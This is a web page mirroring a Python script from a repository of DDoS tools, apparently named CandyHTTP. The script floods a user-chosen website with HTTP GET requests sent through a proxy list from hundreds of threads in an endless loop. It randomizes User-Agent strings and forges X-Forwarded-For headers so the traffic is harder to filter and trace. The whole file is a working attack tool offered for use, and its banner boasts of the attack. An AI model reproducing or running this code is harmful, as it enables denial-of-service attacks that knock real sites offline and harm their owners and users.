Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/CandyHTTP.py
4607 views
1
#!/usr/bin/env python
2
#coding: utf8
3
4
import random
5
import socket
6
import threading
7
import time
8
9
userAgents = ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
10
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
11
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
12
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
13
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
14
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
15
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
16
"Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
17
"Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
18
"Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
19
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
20
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
21
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
22
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
23
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
24
"Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
25
"Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
26
"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
27
"Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
28
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
29
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
30
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
31
"Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
32
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
33
"HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
34
"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
35
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
36
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
37
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
38
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
39
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
40
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
41
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
42
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
43
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
44
"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
45
"Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",]
46
47
def randomIp():
48
random.seed()
49
result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
50
result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
51
return result
52
53
def randomIpList():
54
random.seed()
55
res = ""
56
for ip in xrange(random.randint(2, 8)):
57
res = res + randomIp() + ", "
58
return res[0:len(res) - 2]
59
60
def randomUserAgent():
61
return random.choice(userAgents
62
63
64
65
66
67
class attacco(threading.Thread):
68
def run(self):
69
current = x
70
71
if current < len(listaproxy):
72
proxy = listaproxy[current].split(':')
73
else:
74
75
proxy = random.choice(listaproxy).split(':')
76
useragent = "User-Agent: " + randomUserAgent() + "\r\n"
77
forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
78
79
httprequest = get_host + useragent + accept + forward + connection + "\r\n"
80
81
while nload:
82
time.sleep(1)
83
84
while 1:
85
try:
86
87
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
88
89
a.connect((proxy[0], int(proxy[1])))
90
91
a.send(httprequest)
92
try:
93
for i in xrange(3):
94
a.send(httprequest)
95
except:
96
tts = 1
97
98
99
except:
100
proxy = random.choice(listaproxy).split(':')
101
102
103
104
print(" .----.CandyHTTPv3.1 Fucking big l7 for HTTP WebSite.----.")
105
106
url = raw_input("Site: ")
107
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
108
109
in_file = open(raw_input("Proxy list: "),"r")
110
proxyf = in_file.read()
111
in_file.close()
112
113
listaproxy = proxyf.split('\n')
114
115
thread = input("Thread (800): ")
116
117
118
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
119
accept = "Accept-Encoding: gzip, deflate\r\n"
120
121
connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
122
123
124
nload = 1
125
126
x = 0
127
128
for x in xrange(thread):
129
attacco().start()
130
time.sleep(0.003)
131
print "Thread " + str(x) + " started!"
132
133
print "The attack is running..."
134
nload = 0
135
136
while not nload:
137
time.sleep(1)
138
139
140